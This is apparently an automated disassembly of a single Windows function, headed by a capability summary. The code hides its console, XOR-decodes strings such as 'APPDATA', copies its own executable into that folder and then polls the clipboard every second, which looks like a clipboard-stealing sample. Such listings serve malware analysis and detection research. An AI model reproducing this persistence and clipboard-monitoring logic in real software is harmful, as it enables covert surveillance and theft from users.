Function at 0x140006090
Capabilities:
Copy file
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0xa0], 0x4f
mov al, 0xe
mov cl, 0x1f
movzx edx, cl
mov r8b, 0xb
movzx r9d, al
mov r10b, 0x1b
movzx r11d, al
xor ebx, ebx
xor al, 0x4f
mov byte [rsp + 0xa1], al
xor cl, 0x4f
mov byte [rsp + 0xa2], cl
xor dl, 0x4f
mov byte [rsp + 0xa3], dl
xor r8b, 0x4f
mov byte [rsp + 0xa4], r8b
xor r9b, 0x4f
mov byte [rsp + 0xa5], r9b
xor r10b, 0x4f
mov byte [rsp + 0xa6], r10b
xor r11b, 0x4f
mov byte [rsp + 0xa7], r11b
mov byte [rsp + 0xa8], bl
lea rcx, [rsp + 0xa1]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], bl
jne 0x140006174
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140007c50
nop
mov byte [rsp + 0x30], 0x30
mov al, 0x6c
xor ecx, ecx
xor al, 0x30
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a420]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007670
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400061c3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400071a0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006211
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000620c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000620c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010140
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004290
nop
lea rcx, [rsp + 0x40]
call fcn.140004e20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400062a5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400062a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
test bl, bl
jne 0x14000635f
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010140
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004290
nop
mov qword [rsp + 0x30], r12
lea rax, [0x1400190b8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140004f30
cmp dword [rsp + 0x30], 0
jne 0x140006b10
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000635f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000635a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000635a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010140
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004290
nop
lea rcx, [rsp + 0x40]
call fcn.140004e20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400063f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
test bl, bl
je 0x140006514
mov byte [rsp + 0x30], 0x63
mov al, 0x3f
xor ecx, ecx
xor al, 0x63
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001a340]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007670
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140006433
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400071a0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006481
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000647c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000647c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140006f80
mov rbx, rax
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400064cb
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400064ba
mov rdx, qword [rbx]
xor r8d, r8d
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006505
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006500
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400065a3
mov rcx, r8
call fcn.140010700
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
call fcn.140010140
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140004290
nop
lea rcx, [rsp + 0x40]
call fcn.140004e20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400065af
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
test bl, bl
je 0x140006842
mov esi, dword [0x14001a390]
lea rdi, [0x14001a380]
mov r8, rdi
cmp qword [0x14001a398], 0xf
cmova r8, qword [0x14001a380]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
cmovb rax, r15
mov rcx, rax
call fcn.140010a54
mov rbx, rax
cmp qword [0x14001a398], 0xf
cmova rdi, qword [0x14001a380]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140006da0
mov rcx, rbx
call fcn.140010700
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.140006da0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400066ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.140005980
test eax, eax
jne 0x1400067f7
mov edi, dword [rsp + 0x70]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
mov eax, 2
mul rsi
cmovb rax, r15
mov rcx, rax
call fcn.140010a54
mov rbx, rax
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140006da0
mov rcx, rbx
call fcn.140010700
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 7
cmova rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.140005ce0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x1400067f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140006842
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000683d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000683d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010700
movabs r13, 0x7fffffffffffffff
jmp 0x140006857
mov r15, 0xffffffffffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
xorps xmm0, xmm0
test rax, rax
jne 0x1400068ed
mov byte [rsp + 0x30], 0x76
mov al, 0x13
mov cl, 4
movzx edx, cl
mov r8b, 0x19
movzx r9d, cl
xor r10d, r10d
xor al, 0x76
mov byte [rsp + 0x31], al
xor cl, 0x76
mov byte [rsp + 0x32], cl
xor dl, 0x76
mov byte [rsp + 0x33], dl
xor r8b, 0x76
mov byte [rsp + 0x34], r8b
xor r9b, 0x76
mov byte [rsp + 0x35], r9b
mov byte [rsp + 0x36], r10b
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x31]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], r10b
jne 0x1400068d0
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x40]
call fcn.140007c50
jmp 0x14000696e
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006930
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140007c50
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x50], xmm1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], r12
lea r14, [rsp + 0x40]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
cmp r15, 0xf
cmova r14, rsi
mov rdi, qword [rsp + 0x50]
cmp rdi, r13
ja 0x140006b27
cmp rdi, 0xf
ja 0x1400069e0
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x80], xmm0
jmp 0x140006a81
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x140006a1b
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140010708
mov rcx, rax
test rax, rax
je 0x140006a4e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006a5a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140006a36
mov rax, r12
jmp 0x140006a5a
cmp rcx, 0x1000
jb 0x140006a55
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006b2c
jmp 0x1400069fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010708
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x80]
call fcn.140005700
mov ecx, 0x3e8
call fcn.140005510
nop
cmp r15, 0xf
jbe 0x140006850
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006acf
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006acf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140010700
jmp 0x140006850
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.create_directories
call fcn.140004dc0
nop
call fcn.140003870
call fcn.1400037d0
int3